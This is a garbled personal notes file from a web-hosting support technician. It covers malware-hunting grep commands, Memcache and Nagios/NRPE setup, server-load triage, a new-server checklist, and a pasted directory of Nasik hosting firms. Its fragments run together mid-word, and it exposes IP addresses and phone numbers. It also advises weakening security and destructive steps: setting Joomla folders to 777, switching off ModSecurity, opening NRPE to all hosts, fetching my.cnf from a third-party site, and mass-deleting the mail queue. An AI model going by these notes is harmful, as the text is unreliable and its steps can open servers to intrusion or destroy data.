3gteam  pts/1        115.248.197.138  Sat Sep 25 23:02 - 05:50  (06:47)
3gteam  pts/0        115.248.197.138  Sat Sep 25 22:18 - 23:09  (00:50)

/scripts/makecpphpChecking Malware contents for any account : 

Steps :
1. login to shell
2. fire one command given below :

grep -ilr "kusik-tusik-trf.com" /home/*/public_html/index.*

grep -ilr "iframe" *

grep -ilr "eval(base64_decode" *

most probably search  :   grep -ilr "eval(unescape" *

3. You will get file name.  Open the file and search for the malware using particular word and then remove that line.
for example,
If you have used this command grep -ilr "kusik-tusik-trf.com" /home/*/public_html/index.* 
then search the file for word kusikModules :

Memcache  :

What is Memcached?
Free & open source, high-performance, distributed memory object caching system, generic in nature, but intended for use in speeding up dynamic web applications by alleviating database load.

Istallation of memcache module from the server : 


Memcached is an in-memory key-value store for small chunks of arbitrary data (strings, objects) from results of database calls, API calls, or page rendering.
Please use following commands for installtion;
[root@ip-192-168-2-125 wordpressapi]# wget http://download.fedora.redhat.com/pub/epel/5/i386/epel-release-5-2.noarch.rpm
[root@ip-192-168-2-125 wordpressapi]# yum remove php-common
[root@ip-192-168-2-125 wordpressapi]# yum install php-pdo php-mcrypt squirrelmail php-pecl-apc php-xml php-gd php-devel php php-imap php-pgsql php-pear php-soap php-mbstring php-ldap php-mysql php-cli php-pecl-memcache
[root@ip-192-168-2-125 wordpressapi]# /etc/init.d/memcached restart
Shutting down Distributed memory caching (memcached): [ OK ]
Starting Distributed memory caching (memcached): [ OK ]
[root@ip-192-168-2-125 wordpressapi]# /etc/init.d/httpd restart
Stopping httpd: [ OK ]
Starting httpd: [ OK ]
[root@ip-192-168-2-125 wordpressapi]# vim /etc/php.ini
In php.ini file Please find the “extension=modulename.extension” words
Under that sentance please paste following line:
extension=memcache.so
Note: dont comments that line.
[root@ip-192-168-2-125 wordpressapi]# /etc/init.d/httpd restart
Stopping httpd: [ OK ]
Starting httpd: [ OK ]
[root@ip-192-168-2-125 wordpressapi]##ps -auxf
#killwhom exim 
#killwhom imap
#killwhom nobody
#killall -9 httpd
#mysqladmin pr
#ps -C exim -fH eww | grep home
#top -c

Attack 
#netstat -plan |grep :80|awk '{print $5}' |cut -d: -f1 |sort |uniq -c |sort -n
#netstat -an | grep SYN|sort|uniq|awk '{print $5}'|sed 's/\:/ /g'|awk '{print "csf -d "$1}'
important file :-

vi /etc/my.cnf

netstat -lnp | grep '0.0.0.0:80'

exim -bp | awk '$6~"frozen" { print $3 }' | xargs exim -Mrm



 ps -eo pcpu,pid,user,args | sort -k 1 -r | head -10



cd /tmp
rm -rf sess_*


 pidof httpd

http://centralops.net/co/

find */public_html/* -name .pure*


Cron log file :-              tail -f /var/log/cron

path of cron :-               vi /var/spool/cron/username 



How to check logs :-  tail -f /var/log/messages

                      tail -f /var/log/lfd.log

Go to /var/spool/exim/input and then fire below command 
egrep "X-PHP-Script" * -R

Errorr : JFTP::mkdir: Bad response # JFTP::chmod: Bad response # JF     while install or uninstall joomla extensions 

http://docs.joomla.org/How_to_solve_Installation_errors_Extension_Manager\

So you designed a perfect site locally. Then uploaded it and decided it needed some plugins. You enabled FTP in configuration.php and tried to Install your plugin, template or language but you get:
I got the following error:
* JFolder::create: Infinite loop detected
* JFTP::store: Bad response
* Warning! - Failed to move file




This means that there are some server settings which are wrong. 

You have to go to your global configuration and click on server. 

The first field is Path to Temp-folder and that's most likely the	 local path of you local install. 

You have to give in your live server path.
There are multiple ways to find that path. 

The easy one is to create a path.php file that has the following code in it:



<?php
  echo getcwd();
?>



Go to example.com/path.php      Example : http://sizzlingtimes.com/path.php   and path will be as  : /home/sizzling/public_html/tmp

and this will give you the right directory. 


Put /tmp behind it, place it in Path to Temp-folder and your done.

When you do not use FTP your directory and file permissions need to be set. The problem is that there are a lot of directories and their default setting is 755 which is safe and makes it impossible for users of the same server to place files in you directory. 755 does not make it possible to install or uninstall languages, templates or extensions.
If you change it to 777, you will be able to install and uninstall all your stuff, but… its not that safe.
To make it easy you can make a php file which sets all the directory settings right to 777 when you want to install stuff, and sets it back to 755 when you are done.
The following files need to be set tot 777 to make installation possible:

************************************************************************

http://forum.joomla.org/viewtopic.php?f=431&t=314112&start=0&st=0&sk=t&sd=a

# JFTP::mkdir: Bad response
# JFTP::chmod: Bad response
# JFTP::store: Bad response
# Warning! Failed to move file


Do you have the Joomla FTP Layer enabled? (Global Configuration > Server > FTP Settings)?


Could you try to set the permission for the "modules" directory to 777, so that it is accessible by the web-server.
You might need to set some other directories as well.

******************************************************

Can you try the following:

Login to the admin interface
Click on Help
Click on System Info
Click on Directory Permissions
You will see a list of Directories which are writable/unwritable
Can you check each one which is unwritable and set it's permission to 777

Or you can follow the steps here:

http://docs.joomla.org/How_to_solve_Installation_errors_Extension_Manager

/usr/local/apache/conf/modsec2.user.conf


saint.nseasy
#SecRule HTTP_Content-Type "!(^application/x-www-form-urlencoded|^multipart/form-data;|^text/xml).*$"

after commenting
root@saint [/home/nzflyfis/public_html]# /etc/init.d/httpd restart
Syntax error on line 20 of /usr/local/apache/conf/modsec2.user.conf:
ModSecurity: Disruptive actions can only be specified by chain starter rules.

issue

http://www.surmunity.com/showthread.php?29104-Wordpress-spellcheck-problem

reply to client : it is not possible to change the default configuration of shared server.
<IfModule mod_env.c>
    SetEnv MODSEC_ENABLE Off
    PassEnv MODSEC_ENABLE
</IfModule>
Enable mod_rewrite on Apache

Introduction to mod_rewrite and Apache
Mod_rewrite allows you to rewrite a webpage's url on the fly, and you can rewrite the url to almost anything. It has a lot of uses everything from redirecting multiple WebPages to a new domain without actually changing the title, to making dynamic pages appear static.

Check to see if mod_rewrite is enabled


There are several ways to check if its working, I will try to show you the simplest method, Create a .htaccess file (a text file named .htaccess) with the following code in it

Options +FollowSymLinks
RewriteEngine On

Save the file to a subdirectory of your main site something like this

/rewrite-testfolder/.htaccess

Now attempt to browse to the subdirectory (http://localhost/rewrite-testfolder/). 

One of two things could happen

- No errors Congrats mod_rewrite engine is now enabled.

- 500, Internal Server Error If you get this message then mod_rewrite was not installed/enabled on your computer.

********************************************************************************

OF THIS DOES NOT WORK 

The Magic of mod_rewrite
Here's a simple example for you: create three text files named test.html, test.php, and .htaccess.

In the test.html file, enter the following:

<h1>This is the HTML file.</h1>

In the test.php file, add this:

<h1>This is the PHP file.</h1>

Create the third file, .htaccess, with the following:

RewriteEngine on 
RewriteRule ^/?test\.html$ test.php [L]

http://www.example.com/path/to/test.html

************************************************************************************

http://www.apacheref.com/ref/mod_rewrite.html

mod_rewrite - Advanced URL Translation And Redirection


Since Apache 1.2, src/modules/standard/mod_rewrite.c

Ralf S. Engelschall (1996)



mod_rewrite is the Swiss Army Knife of URL manipulations. It provides virtually all of the functions one would ever need to manipulate URLs, and its functionality is highly generalized. Consequently, mod_rewrite can be used to solve all sorts of URL-based problems. The drawback is the high learning curve, because this module is based on a complex rule-based matching engine, which uses regular expressions for its patterns. Although the flexibility of mod_rewrite makes it a very complex tool, once you understand the basic idea you will master all existing and forthcoming URL-based problems in your webmaster's life.

Directives:

RewriteEngine   	RewriteOptions
RewriteLog   	RewriteLogLevel
RewriteLock   	RewriteMap
RewriteBase   	RewriteCond
RewriteRule   	


Common steps to check loaded server :
==========================
(Note : take permissions of the supervisor before using kill command.)
(Note : Before any rm -rf command, always execute "pwd" command strictly.)

1. w
If load is more than 60 then ask supervisor and kill httpd and exim
killall -9 httpd
killall -9 exim

2. top
Figure out processes creating load (http/mysql/exim),

If http load then
http
check for common site name, 
	If more than 7-8 entries found and requests are from same IP, block the IP. 
	csf -d IP
	
	If more than 15 entires found for same site, suspend site user
	/scripts/whoowns site-name
	/scripts/suspendacct username

If mysql load then
watch mysqladmin pr
If time is more than 200 and "Command" status is Query then suspend database
cd /var/lib/mysql
chmod 000 database-name


If exim load then
exim -bp
check processes with 0 minute wait time
take process ID of mails for common sender.
exim -Mvh process-ID
You will see all the details like path of mailing scripts.
Disable the problematic script file.
chmod 000 script-path

OR

exim -bpc
If output is more than 1200 then empty mailque or remove frozen mails.
cd /var/spool/exim
pwd
rm -rf input


    Steps for Server Configuration
==========================================================

I >First login to poweradmin  One and two  (Add Supermaster zone)

IP---new server IP

Host name -- ns1.site.com or 1.nseasy.com

Account : server name



II >After that Search Zone and Records  ---site.com

After that Edit and Add A record(Ip of the new server)



III > After that open another shell(another server) and type vi /etc/named.conf
        Copy the line also-notify with IP address and semi colon

        and New server : vi /etc/named.conf
         Paste the also notify lines
        and save (:wq!)


IV > On the shell of the new server, type   useradd 3gteam
                                                            passwd 3gteam
       Enter the password for 3gteam.
       Restart sshd


V >  Then vi /etc/group
       wheel:x:10:root,3gteam


VI >Then  vi /etc/ssh/sshd_config
      Remove # and enter port number 1097
      Remove # and PermitRootlogin Yes Change to PermitRootlogin  No
      In WHM, In ConfigServer Security & Firewall, Firewall Configuration and add the IP 1097 in TCP_IN and TCP_Out


VII >Go to WHM >> ConfigServer Security & Firewall >> Check Server Security >> Check /tmp permissions  , Check        /var/tmp permissions,  Check /usr/tmp permissions  Change all permissions as given in WHM on the shell



VIII >Check the php.ini file of the another server and compare it with the new server(Disable functions >> Just          remove   exec from the shell and restart apache )


IX >In WHM,, type Suexec,  PHP and SuExec Configuration  >> php 5 hander >>Drop down (select dso) and save       changes 


X > Check in another server for mysql connection  > vi /etc/my.cnf   (the values should be same  on the new server)


XI >Go to http://configserver.net/   >> ConfigServer Mail Queues  >> Right click  >> wget       http://configserver.net/free/cmq.tgz
      Then go down on the link ConfigServer Mail Queues (install.txt) >> Click >> 

     On the shell 
    >> tar -xzf cmq.tgz
    >> cd cmq/
     >>sh install.sh

Refresh WHM and you will see ConfigServer Mail Queues  at the left side bottom

       Then open the link ConfigServer Mail Manage  from http://configserver.net/ and wget the link ( wget         http://configserver.net/free/cmq.tgz)


        ConfigServer Mail Manage  >> install.txt >> Click

        On the shell

       tar -xzf cmm.tgz
       cd cmm/
       sh install.sh
       Login to WHM and scroll to the bottom of the left hand menu and you should see "ConfigServer Mail Manage"

If http command is not there on the server, then on the another server, type which http.
You will get a path for http. Then go in that path by vi /bin/http and on the new server, go by cd /bin and vi http and copy the code from old server(vi /bin/http)



### XII  >Open a Old server WHM and edit packages  >> and add package on a new server and enter the values as it is.



XIII >Then WHM >> Feature manager
Add Excite  >>Feature List Name >> Excite >> Add >> Remove Click Be as we do not provide Click Be



XIV >>Create a account as vanessatestjade.com(Example) from WHM >> Create account >>Package Excite



XV >> Then run the command /scripts/fixquotas on the server


*** XVI >> Login to shell of Prime server(if the new server configured is of site), prime port is 22 and root as user
           /scripts/whoowns network-command.com
           cd public_html/status03(if adding in 3rd page )
           vi config.php
           Add the new server in the server list


XVI >> Check the entries of the new added domain (step XIV) In the PowerDNS 1 and 2



XVII >> WHM >> Tweak Settings >> When adding a new domain, automatically create A entries for the registered        
          nameservers if they would be contained in the zone. >> Unselect   


XVIII > Correct the following block in httpd.conf according to the server:  
             vi /etc/httpd/conf/httpd.conf


Just above the second block (pid) place the following

NameVirtualHost 67.23.226.119:80

<VirtualHost 67.23.226.119:80>
ServerName elite.nsjet.com     (Server name)
DocumentRoot /usr/local/apache/htdocs
</VirtualHost>




XIX >> cd /usr/local/apache/htdocs
           Search for the file serverstats_inc.php

           If not there, copy from any other server
           cat   serverstats_inc.php
           Copy and paste on the new server
    
       Restart apache


XX >> Change password on the shell with passwd
          Put any password 
          Save
          Save in the Database
          In the data base Edit(Add Entry)  Title(Server name)  Username : IP  Password : New one
====================================================





warning : unverified

You can downgrade mysql or change version by doing this :

vi /var/cpanel/cpanel.config

Change the line
mysql-version=

to 4.0 or 4.1 or 5.0

Now run :
/scripts/mysqlup --force

Now re-run apache build (easyapache) - so it can build php-mysql connector
/scripts/easyapacheHello,

Let us know the exact link to see the error at our end so that we can investigate further.  You can try troubleshooting the issue at your end as follows :
* Goto cpanel >> mysql databases
* Create database, database user
*Assign privileges to database user for database.
*Ensure that the db details matches in db connection file in your account.
mysql socket download

wget --output-document=/etc/my.cnf http://www.securecentos.com/temp/files/mysql/my.cnf

once you download the fresh socket file

got 



pico /etc/my.cnf


you will see 
lines with socket keywors, just remove those lines and save the changes and restart mysql.
How to install nagios on cpanel or linux server?
Guys,

Nagios is a powerful monitoring system that enables organizations to identify and resolve IT infrastructure problems before they affect critical business processes.

Nagios is an open source application that monitors for computer network problems so that they can be fixed more quickly. Nagios was designed for use with the Linux operating system, but it will also work under Unix and most Unix-based systems.

Nagios runs periodic checks on user-specified resources and services. Resources that can be monitored include memory usage, disk usage, microprocessor load, the number of currently running processes, and log files. Services that can be monitored include Simple Mail Transfer Protocol (SMTP), Post Office Protocol 3 (POP3), Hypertext Transfer Protocol (HTTP), and other common network protocols. The program can monitor environmental variables such as temperature, humidity, or barometric pressure in conjunction with the appropriate measuring hardware. A user-friendly Web-based graphical user interface is provided. An authorization system allows the administrator to restrict access as necessary.

I have referred following steps to install and configure the nagios.

Before proceeding to mention the steps let me tell some points. Here I have installed nagios on monitoring server. So, this server will monitor other remote servers. Here are the required tools for them.

[A] For monitoring server(Who will monitor others) : 
a)nagios 
b) nagios-plugin 
c) nrpe daemon

[B] For monitored remote server(who will be monitored) : 
a) nagios-plugin 
c) nrpe daemon

[C] Configuring monitoring server to monitor remote hosts.

Let IP of monitoring server is 64.34.203.8. and 76.74.238.165 is the IP of remote server.

Now please make it sure that following packages has installed on the server.

-------
php-mysql php-gd php-ldap php-xml gd gd-devel gcc glibc glibc-common libstdc++-devel gcc-c++perl-DBI perl-DBD-MySQL perl-Config-IniFiles rrdtool perl-rrdtool

Note : For cpanel server all the modules might have installed. You can also enable them using /scripts/easyapache or yum install mod_name
-------
=========================================
I am mentioning step by step here :

[A] Installing and configuring the monitoring tools on monitoring server(Who will monitor others) : 

a)nagios

b) nagios-plugin

c) nrpe daemon :-

a)nagios :-

------------------
1. Login into the server via ssh and gain root access.
2. useradd nagios
3. passwd nagios
4. groupadd nagcmd
5. /usr/sbin/usermod -a -G nagcmd nagios
6. /usr/sbin/usermod -a -G nagcmd nobody

Note : here nobody is the apache user on my server(cpanel linux server). You can get the user by executing the following command :

root@server [/usr/local/src]# grep '^User' /usr/local/apache/conf/httpd.conf
User nobody
UserDir public_html
root@server [/usr/local/src]#

7. cd /usr/local/src/
8. wget http://prdownloads.sourceforge.net/sourceforge/nagios/nagios-3.2.1.tar.gz
9. tar -xvzf nagios-3.2.1.tar.gz
10. cd nagios-3.2.1
11. ./configure --with-command-group=nagcmd
12. make all
13. make install
14. make install-init
15. make install-config
16. make install-commandmode
17. make install-webconf

Note: During executing "make install-webconf" you'll face following error message.

``````````````````````````````````````````````````````````
root@server [/usr/local/src/nagios-3.2.1]# make install-webconf
/usr/bin/install -c -m 644 sample-config/httpd.conf
/etc/httpd/conf.d/nagios.conf
/usr/bin/install: cannot create regular file `/etc/httpd/conf.d/nagios.conf':
No such file or directory
make: *** [install-webconf] Error 1

I hope you got the clue from this error message. So, please make a directory and link with cpanel apache conf.d like :

root@server [/usr/local/src/nagios-3.2.1]# mkdir -p /etc/httpd/conf.d
root@server [/usr/local/src/nagios-3.2.1]# ln -s /etc/httpd/conf.d /usr/local/apache/conf.d

Then execute the above webconf once again. It'll create nagios.conf file in that conf.d directory. That's it. This is for integrating the nagios with webserver.
``````````````````````````````````````````````````````````

18. htpasswd -c /usr/local/nagios/etc/htpasswd.users nagiosadmin //provide password here.

That's it for nagios. For my case here are the content in conf.d

````````
root@server [/etc/httpd/conf.d]# ll
total 12
drwxr-xr-x 2 root root 4096 Sep 26 23:22 ./
drwxr-xr-x 18 root root 4096 Sep 26 23:17 ../
lrwxrwxrwx 1 root root 6 Sep 26 23:20 conf.d -> conf.d
-rw-r--r-- 1 root root 1010 Sep 26 23:22 nagios.conf
root@server [/etc/httpd/conf.d]#
````````

===================================

b) nagios-plugin installation :-

1. cd /usr/local/src/
2. wget wget http://prdownloads.sourceforge.net/sourceforge/nagiosplug/nagios-
plugins-1.4.11.tar.gz
3. tar -xvzf nagios-plugins-1.4.11.tar.gz
4. cd nagios-plugins-1.4.11
5. ./configure --with-nagios-user=nagios --with-nagio-group=nagios
6. make
7. make install
8. chkconfig --add nagios
9. chkconfig nagios on
10. chown nagios.nagios /usr/local/nagios
11. chown -R nagios.nagios /usr/local/nagios/libexec
12. /usr/local/nagios/bin/nagios -v /usr/local/nagios/etc/nagios.cfg

````````````````
10th command will check the configuration whether it's correct or not. If it's correct it'll show following :
..............
Total Warnings: 0
Total Errors: 0

Things look okay - No serious problems were detected during the pre-flight
check

If there is no error it means your nagios configuration is correct and you can
start nagios service.
.............

`````````````````

13. /etc/init.d/nagios start
14. ps aux | grep nagios //check whether nagios is running or not.

that's it for nagios plugin :)

===================================

c) nrpe daemon installation : --

1. cd /usr/local/src/
2. wget http://prdownloads.sourceforge.net/sourceforge/nagios/nrpe-2.12.tar.gz
3. tar -xvzf nrpe-2.12.tar.gz
4. cd nrpe-2.12

......
Make sure openssl-devel has installed on the server. Check like

root@server [/usr/local/src/nrpe-2.12]# rpm -qa | grep openssl-devel
openssl-devel-0.9.8e-12.el5_4.6
root@server [/usr/local/src/nrpe-2.12]#

Else execute : yum install openssl*
......

5. ./configure
6. make all
7. make install-plugin
8. make install-daemon
9. make install-daemon-config
10. make install-xinetd

.......
Note : Make sure that xinetd has installed on the server. Else install it like yum install xinetd
.......

11. vi /etc/xinetd.d/nrpe and disable “only_from” directive. So, the content of the file will look like :

.......
root@server [~]# cat /etc/xinetd.d/nrpe
# default: on
# description: NRPE (Nagios Remote Plugin Executor)
service nrpe
{
flags = REUSE
socket_type = stream
port = 5666
wait = no
user = nagios
group = nagios
server = /usr/local/nagios/bin/nrpe
server_args = -c /usr/local/nagios/etc/nrpe.cfg --inetd
log_on_failure += USERID
disable = no
# only_from = 127.0.0.1
}
root@server [~]#
.......

12. echo "nrpe 5666/tcp # NRPE" >> /etc/services
13. Make it sure that you have opened the above port at the firewall.
14. chkconfig xinetd on
15. service xinetd restart

op will be like :

.....
root@server [/usr/local/src/nrpe-2.12]# chkconfig --list | grep xinetd
xinetd 0:off 1:off 2:on 3:on 4:on 5:on 6:off
xinetd based services:
root@server [/usr/local/src/nrpe-2.12]# service xinetd restart
Stopping xinetd: [ OK ]
Starting xinetd: [ OK ]
root@server [/usr/local/src/nrpe-2.12]#
.....

That's it.

Test the NRPE daemon locally :

16. netstat -at | grep nrpe

Here is the o/p :
........
tcp 0 0 *:nrpe *:* LISTEN

root@server [/usr/local/src/nrpe-2.12]# netstat -plan | grep 5666
tcp 0 0 0.0.0.0:5666 0.0.0.0:*
LISTEN 31130/xinetd
root@server [/usr/local/src/nrpe-2.12]#
........

17. /usr/local/nagios/libexec/check_nrpe -H localhost

Here is the o/p :

........
root@server [/usr/local/src/nrpe-2.12]# /usr/local/nagios/libexec/check_nrpe -H localhost
NRPE v2.12
root@server [/usr/local/src/nrpe-2.12]#
........

===================================


[B] Installing and configuring the monitoring tools on monitored server (who will be monitored) : 

a) nagios-plugin 

c) nrpe daemon 

Login into the remote server via ssh and gain root access.

a) : nagios-plugin installation :

1. cd /usr/local/src/
2. /usr/sbin/useradd nagios
3. passwd nagios
4. wget http://prdownloads.sourceforge.net/sourceforge/nagiosplug/nagios-plugins-1.4.15.tar.gz
5. tar -xvzf nagios-plugins-1.4.15.tar.gz
6. cd nagios-plugins-1.4.15
7. ./configure
8. make
9. make install
11. chown nagios.nagios /usr/local/nagios
12. chown -R nagios.nagios /usr/local/nagios/libexec
13. Make sure that xinetd has installed on the server. Else install using : yum install xinetd

That's it :)
===================================

b) nrpe daemon installation :-

1. cd /usr/local/src/
2. wget http://prdownloads.sourceforge.net/sourceforge/nagios/nrpe-2.12.tar.gz
3. tar -xvzf nrpe-2.12.tar.gz
4. cd nrpe-2.12

......
Make sure openssl-devel has installed on the server. Check like

root@server [/usr/local/src/nrpe-2.12]# rpm -qa | grep openssl-devel
openssl-devel-0.9.8e-12.el5_4.6
root@server [/usr/local/src/nrpe-2.12]#

Else execute : yum install openssl*
......

5. ./configure
6. make all
7. make install-plugin
8. make install-daemon
9. make install-daemon-config
10. make install-xinetd

.......
Note : Make sure that xinetd has installed on the server. Else install it like yum install xinetd
.......

11. vi /etc/xinetd.d/nrpe and change the IP at the “only_from” directive. It'll be monitoring server's(who will monirot) IP. For my case it was 64.34.203.8. So, the content of the file will look like :

.......
root@server [/etc/xinetd.d]# hostname
server.loveme.com
root@server [/etc/xinetd.d]# cat /etc/xinetd.d/nrpe
# default: on
# description: NRPE (Nagios Remote Plugin Executor)
service nrpe
{
flags = REUSE
socket_type = stream
port = 5666
wait = no
user = nagios
group = nagios
server = /usr/local/nagios/bin/nrpe
server_args = -c /usr/local/nagios/etc/nrpe.cfg --inetd
log_on_failure += USERID
disable = no
only_from = 64.34.203.8
}
root@server [/etc/xinetd.d]#
.......

12. echo "nrpe 5666/tcp # NRPE" >> /etc/services
13. Make it sure that you have opened the above port at the firewall.
14. chkconfig xinetd on
15. service xinetd restart

op will be like :

.....
root@server [/usr/local/src/nrpe-2.12]# chkconfig --list | grep xinetd
xinetd 0:off 1:off 2:on 3:on 4:on 5:on 6:off
xinetd based services:
root@server [/usr/local/src/nrpe-2.12]# service xinetd restart
Stopping xinetd: [ OK ]
Starting xinetd: [ OK ]
root@server [/usr/local/src/nrpe-2.12]#
.....


Test the NRPE daemon locally :

16. netstat -at | grep nrpe

Here is the o/p :
........
tcp 0 0 *:nrpe *:* LISTEN

root@server [/usr/local/src/nrpe-2.12]# netstat -plan | grep 5666
tcp 0 0 0.0.0.0:5666 0.0.0.0:*
LISTEN 31130/xinetd
root@server [/usr/local/src/nrpe-2.12]#
........

17. /usr/local/nagios/libexec/check_nrpe -H localhost

Here is the o/p :

........
root@server [/usr/local/src/nrpe-2.12]# /usr/local/nagios/libexec/check_nrpe -H localhost
NRPE v2.12
root@server [/usr/local/src/nrpe-2.12]#
........

That's it.

================================================================================


[C] Configuring monitoring server to monitor remote hosts :-

Login into the monitoring server(who will monitor) via ssh and gain root access.

1. Create a command definition: /usr/local/nagios/etc/commands.cfg

and add following entries in that file :
---
root@server [/usr/local/nagios/etc/objects]# cat /usr/local/nagios/etc/commands.cfg
define command{
command_name check_nrpe
command_line $USER1$/check_nrpe -H $HOSTADDRESS$ -c $ARG1$
}

root@server [/usr/local/nagios/etc/objects]
---

2. chown nagios. /usr/local/nagios/etc/commands.cfg
3. create the file /usr/local/nagios/etc/objects/linux-box-remote.cfg and add
following entries in that file.

........
root@server [/usr/local/nagios/etc/objects]# cat /usr/local/nagios/etc/objects/linux-box-remote.cfg
define host{
name linux-box-remote ; Name of this
template
use generic-host ; Inherit default values
check_period 24x7
check_interval 5
retry_interval 1
max_check_attempts 10
check_command check-host-alive
notification_period 24x7
notification_interval 30
notification_options d,r
contact_groups admins
register 0 ; DONT REGISTER THIS - ITS A
TEMPLATE
}

define host{
use linux-box-remote ; Inherit default values from a
template
host_name server.ubeea2.com ; The name we're giving to this
server
alias ubeea2 ; A longer name for the server
address 76.74.238.165 ; IP address of the server
}

define service{
use generic-service
host_name server.ubeea2.com
service_description CPU Load
check_command check_nrpe!check_load
}
define service{
use generic-service
host_name server.ubeea2.com
service_description Current Users
check_command check_nrpe!check_users
}
define service{
use generic-service
host_name server.ubeea2.com
service_description /dev/hda1 Free Space
check_command check_nrpe!check_hda1
}
define service{
use generic-service
host_name server.ubeea2.com
service_description Total Processes
check_command check_nrpe!check_total_procs
}
define service{
use generic-service
host_name server.ubeea2.com
service_description Zombie Processes
check_command check_nrpe!check_zombie_procs
}
root@server [/usr/local/nagios/etc/objects]#
..........

Note : Change the IP and hostname. Then call this file in the nagios.cfg file. Just add
like

4. cfg_file=/usr/local/nagios/etc/objects/linux-box-remote.cfg

Example :
........
root@server [/usr/local/nagios/etc]# grep linux-box-remote.cfg /usr/local/nagios/etc/nagios.cfg
cfg_file=/usr/local/nagios/etc/objects/linux-box-remote.cfg
........

5. chown nagios. /usr/local/nagios/etc/objects/linux-box-remote.cfg
6. check config like :
....
root@server [/usr/local/nagios/etc/objects]# /usr/local/nagios/bin/nagios -v /usr/local/nagios/etc/nagios.cfg

Make sure warning and error are zero.
....

7. service nagios restart
8. You can add multple remote host in the linux-box-remote.cfg file. Just add another entry like second defined "host" to last one(only you have to change the hostname and services those you want to monitor).

That's it. Try :)
vim /etc/nsswitch.conf
vi /etc/named.conf
resolver.confHostech Support? - more info »
Flat No.5, Landmark Building,, Model Colony Chowk, College Road, Nasik, Maharashtra 422009? - 09967906284?
Write a review
"Our Company. Hostech Support is one of the Best Hosting Technical support provider. We offer quality and 24x7 technical support for leading hosting ..." hostechsupport.com

Host.co.in? - more info »
DSouza Colony Rd, 403, Rohan Heights, Nashik, Maharashtra 422005? - 09860900069?
Category: Web Hosting
Write a review - 1 coupon
"Regards Viraj http://www.host.co.in Phone:0253-2342932|Mobile:+91-9860900069. Support/Billing/Sales:24x7x365 sales@host.co.in | support@host.co.in ..."Error translating cpanel.net

Hostech Support? - more info »
Flat No.5, Landmark Building,, Model Colony Chowk, College Road, Nasik, Maharashtra 422009? - 09967906284?
Write a review
"Our Company. Hostech Support is one of the Best Hosting Technical support provider. We offer quality and 24x7 technical support for leading hosting ..." hostechsupport.com

Aress Software And Education Technologies Pvt Ltd? - more info »
L-13,Ambad, M I D C, Nashik, 422010? - 0253 2344998?
Write a review
"Aress Software promoted, Techsupport.in enables its clients to focus primarily on their business by providing reliable, high quality end-user support to ..." prlog.org

thinksupport.net? - more info »

2nd Floor, Gajra Chambers, Mumbai Agra Highway, Nasik, Maharashtra 422009? - 09822034329?
Write a review
"ThinkSupport is a unique blend of technology and experience, establishing our presence all over the globe.. Everyone here at ThinkSupport believes ..." thinksupport.com

Dorotheus Technologies? - more info »
Ojhar, 3, 1st Floor, Bansi Plaza, Nasik, Maharashtra 422206? - 02550 329238?
Write a review
"E-junkie Shopping Cart and Digital Delivery. The smartest solution for file sharing and large file transfer over Internet is HERE! ..." dorotheus.com

Itrix Incorporation? - more info »
Near Durga International Hotel, 3, Siddhi, Shree Colony, Nashik, Maharashtra 422101? - 09890033980?
Category: Services - Software Development
1 review - Write a review
"Its very important in business to get honest partners. What I like most about ..."

eluminous Technologies? - more info »
College Rd, Nasik, ?????????? 422005? - 0253 6521258?
Category: Services - Web Hosting
Write a review

THREE S? - more info »
Satpur, Nasik, ?????????? 422007? - 09890208898?
Category: Services - Web Development
Write a review

C-Tech Solutions? - more info »
Satpur, Nasik, ?????????? 422007? - 0253 6628476?
Category: Services - Web Hosting
Write a review

1 ) Pamtsoft Systems Software? - more info »
Shivaji Nagar, Nasik, ?????????? 422006? - 09822490026?
Category: Services - Web Design
Write a review

Gnext technologies? - more info »
MIDC Ambad, Nasik, ?????????? 422010? - 09890515840?
Category: Services - Web Hosting
Write a review

Dreamz Infotech? - more info »
Building No. 3, Stadium Complex,, M.G.Road, Nashik, Maharashtra 422001? - 09371115695?
Category: Services - Web Development
Write a review

dplanet (Animate Yourself)? - more info »
nashik, nashik, Maharashtra 422006? - 09850210424?
Category: Services - Web Development
1 review - Write a review
"dplanet is very nice web designing & web hosting company in nasik ..."

Om Web Solution? - more info »
flat no.4, roongta blossom, suman petrol pump, rajiv nagar, Nasik, Maharashtra 422009? - 0253 2376206?
Write a review - 1 coupon

imorse Technologies? - more info »
Upasana Shree Colony, behind Neharu Nagar Bus Stop, Nasik Rd, Maharashtra 422101? - 09890045199?
Category: Services - Web Design
Write a review

Aviators Infotech? - more info »
N-34/s-1/15-1/4, Rane nagar, New nashik., nashik, Maharashtra 422009? - 09765127177?
Category: Services - Web Hosting
1 review - Write a review
"Really glad to know that in nashiks web designers, we can find such ..."

Decision Softwares Pvt. Ltd.? - more info »
College Road, Nashik, 6, Jyotidarshan, Vise Mala, Nashik, Maharashtra 422005? - 09422264642?
Category: Services - Software Development
Write a review - 1 coupon

Netwin Systems & Software (I) Pvt Ltd? - more info »
Canada Corner, 1, 2 Prestige Point, Opp Vasant Market, Nashik, Maharashtra 422005? - 0253 2309214?
Category: Services - Software Development
Write a review

dplanet (Animate Yourself)? - more info »
NH 50, Nasik, ?????????? 422006? - 09764584258?
Category: Services - Web Hosting
Write a review

Web Technology Generation? - more info »
Shadhu Waswani Rd, Nasik, ?????????? 422001? - 0253 2572824?
Write a review

E Web Link Solutions? - more info »
Shivaji Nagar, Nasik, ?????????? 444005? - 0253 2415497?
Write a review

mywebhostingsolutions? - more info »
B-10, Divya Darshan Appt., B-10, Divya Darshan Appt., Nasik, Maharashtra 422005? - 0253 3012279?
Category: Services - Web Design
Write a review

Creative Interevntions? - more info »
College Rd, Nasik, ?????????? 422005? - 0253 2571373?
Category: Services - Software Development
Write a review

ahydra Informatics? - more info »
Kanade Maruti Ln, Nasik, ?????????? 442001? - 0253 2501584?
Category: Website Development, Software Development.
Write a review

HUM-TUM? - more info »
Opp. Yash Plaza, Cidco-Ambad Link Road,, Pawan Nagar, Cidco,, Nashik, Maharashtra 422009? - 0253 2372164?
Category: Services - Web Design

System & Solution? - more info »
10, Ashmit, Sagar Complex, New Adagao naka,, Nasik, ?????????? 422003? - 09890394482?
Category: Services - Web Development
Write a review

Navinya Services? - more info »
maharashtra, nashik, igatpuri, Maharashtra 422403? - 09860336036?
Category: Services - Web Hosting
Write a review


Call Center

Plexus? - more info »
Madhusmit,College Road,Opposite K B H: Vidyalaya, Patil Lane No 1, Nashik, 422005? - 0253 6610788?
Category: Bpo / Call Centres / Back Office Services
Write a review

Placement

Niyukti Placement Services? - more info »
“Shivalay”, 28, Shramik – 2,, Near S.T. Colony, Gangapur Road,, Nashik, Maharashtra 422013? - 099 70090009?
Category: Job, Jobs, Recruitment Consultant

Nirmal Typewriters? - more info »
